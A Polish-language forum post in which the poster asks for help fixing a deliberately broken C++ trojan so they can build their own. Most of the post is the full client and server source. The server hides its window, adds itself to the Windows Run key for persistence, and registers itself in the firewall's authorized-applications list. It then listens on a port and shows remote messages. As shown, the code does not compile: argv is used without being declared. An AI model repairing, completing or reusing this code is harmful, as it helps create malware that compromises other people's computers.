Witam. Znalazłem w internecie kod źródłowy jakiegoś trojana napisanego w C++ W kodzie został celowo umieszczony jakiś błąd logiczny, żeby osoby nie znające języka nie mogły go skompilować. Dopiero się uczę i nie potrafię rozszyfrować gdzie znajduje się ten błąd, a chciałem napisać swojego trojana używajać gotowego kodu i samodzielnie dodając nowe funkcje. Mógłby mi ktoś powiedzieć, w którym miejscu znajduje się błąd i jak go poprawić?
Klient:
Kod:
#include <winsock.h> 
#include <string> 
#include <iostream> 
using namespace std;

WSADATA wsadata; 
struct hostent *serwer; 
SOCKET klient; 
SOCKADDR_IN adres;

int main()
{
WSAStartup(MAKEWORD(2,2), &wsadata); 
klient = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

string adresip, wiadomosc; 
cout << "Polacz z: "; 
getline(cin, adresip); 
int PORT = 44777; 
int dziennik_bledow; 
adres.sin_family = AF_INET; 
adres.sin_port = htons(PORT); 
adres.sin_addr.s_addr = inet_addr(adresip.c_str());

dziennik_bledow = connect(klient, (struct sockaddr*)&adres, sizeof(adres)); 
while(1) 
{ 
    cout << "Podaj tresc wiadomosc jaka ma byc wyswietlona na serwerze: "; 
    getline(cin, wiadomosc); 
    dziennik_bledow = send(klient, wiadomosc.c_str(), wiadomosc.length(), 0); 
    if(dziennik_bledow == SOCKET_ERROR) 
cout << "\t\v\a Blad wysylania danych do serwera!" << endl; 
else cout << "\t\v Wyslano! " << endl; 
Sleep(10); 
} 
getchar();
}
Serwer:
Kod:
#include <winsock.h> 
#include <string> 
#include <iostream> 
#include <windows.h> 
using namespace std;

WSADATA wsadata; 
SOCKET klient, nasluch; 
SOCKADDR_IN adres, adres_klienta; 
string tresc, wartosc; 
char wiadomosc[512];

int main()
{
HWND okno = FindWindow("ConsoleWindowClass", 0); 
ShowWindow(okno, SW_HIDE);

HKEY klucz; 
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &klucz); 
RegSetValueEx(klucz, "trojan-jacek", 0, REG_SZ, (BYTE*)argv[0], strlen(argv[0])); 
RegCreateKey(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parametrs\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List", &klucz); 
wartosc = argv[0]; 
wartosc += ":*:Enabled:"; 
wartosc += argv[0]; 
RegSetValueEx(klucz, argv[0], 0, REG_SZ, (BYTE*)"trojan-jacek", strlen("trojan-jacek"));

WSAStartup(MAKEWORD(2,2), &wsadata); 
nasluch = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); 
int PORT = 44777; 
int adres_dlugosc; 
adres.sin_family = AF_INET; 
adres.sin_port = htons(PORT); 
adres.sin_addr.s_addr = htonl(INADDR_ANY); 
bind(nasluch, (struct sockaddr*)&adres, sizeof(adres)); 
listen(nasluch, 10); 
adres_dlugosc = sizeof(adres_klienta); 
klient = accept(nasluch, (struct sockaddr*)&adres_klienta, &adres_dlugosc);

while(1) 
{ 
for(int i = 0 ; i < sizeof(wiadomosc) ; i++) 
{ 
char c[1] = ""; 
wiadomosc[i] = c[0]; 
} 
    recv(klient, wiadomosc, sizeof(wiadomosc), 0); 
tresc = wiadomosc; 
if(tresc != "") 
MessageBox(0, tresc.c_str(), "TROJANIZED", MB_ICONERROR); 
} 
    closesocket(klient); 
    WSACleanup(); 
return 0;
}